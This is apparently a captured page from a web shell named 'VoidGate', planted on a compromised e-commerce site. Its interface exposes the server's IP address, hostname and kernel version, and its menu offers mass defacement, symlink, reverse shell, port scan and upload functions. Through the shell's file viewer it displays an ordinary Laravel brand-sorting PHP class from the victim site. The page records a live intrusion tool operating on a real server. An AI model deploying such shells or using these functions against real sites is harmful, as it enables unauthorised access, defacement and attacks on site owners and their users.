ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Utils
/
Viewing: BrandManager.php
<?php namespace App\Utils; use App\Models\Brand; use Illuminate\Support\Facades\Cache; class BrandManager { public static function getActiveBrandWithCountingAndPriorityWiseSorting() { $cacheKey = 'cache_priority_wise_brands_list_' . (getDefaultLanguage() ?? 'en') . '_' . (request('offer_type') ?? 'default') . (request('data_form') ?? 'default'); $cacheKeys = Cache::get(CACHE_CONTAINER_FOR_LANGUAGE_WISE_CACHE_KEYS, []); if (!in_array($cacheKey, $cacheKeys)) { $cacheKeys[] = $cacheKey; Cache::put(CACHE_CONTAINER_FOR_LANGUAGE_WISE_CACHE_KEYS, $cacheKeys, CACHE_FOR_3_HOURS); } return Cache::remember($cacheKey, CACHE_FOR_3_HOURS, function () { $brandList = Brand::active()->withCount(['brandProducts' => function ($query) { return $query->active()->when(request('offer_type') == 'clearance_sale', function ($query) { return $query->whereHas('clearanceSale', function ($query) { return $query->active(); }); })->when(request('offer_type') == 'flash-deals', function ($query) { return $query->whereHas('flashDealProducts.flashDeal'); }); }])->when(request('offer_type') == 'flash-deals', function ($query) { return $query->whereHas('brandProducts.flashDealProducts.flashDeal'); }); return self::getPriorityWiseBrandProductsQuery(query: $brandList); }); } public static function getPriorityWiseBrandProductsQuery($query) { $brandProductSortBy = getWebConfig(name: 'brand_list_priority'); if ($brandProductSortBy && ($brandProductSortBy['custom_sorting_status'] == 1)) { if ($brandProductSortBy['sort_by'] == 'most_order') { return $query->with(['brandProducts' => function ($query) { return $query->active()->withCount('orderDetails'); }])->get()->map(function ($brand) { $brand['order_count'] = $brand?->brandProducts?->sum('order_details_count') ?? 0; return $brand; })->sortByDesc('order_count'); } elseif ($brandProductSortBy['sort_by'] == 'latest_created') { return $query->latest()->get(); } elseif ($brandProductSortBy['sort_by'] == 'first_created') { return $query->orderBy('id', 'asc')->get(); } elseif ($brandProductSortBy['sort_by'] == 'a_to_z') { return $query->orderBy('name', 'asc')->get(); } elseif ($brandProductSortBy['sort_by'] == 'z_to_a') { return $query->orderBy('name', 'desc')->get(); } } return $query->latest()->get(); } }
Coded With 💗 by
0x6ick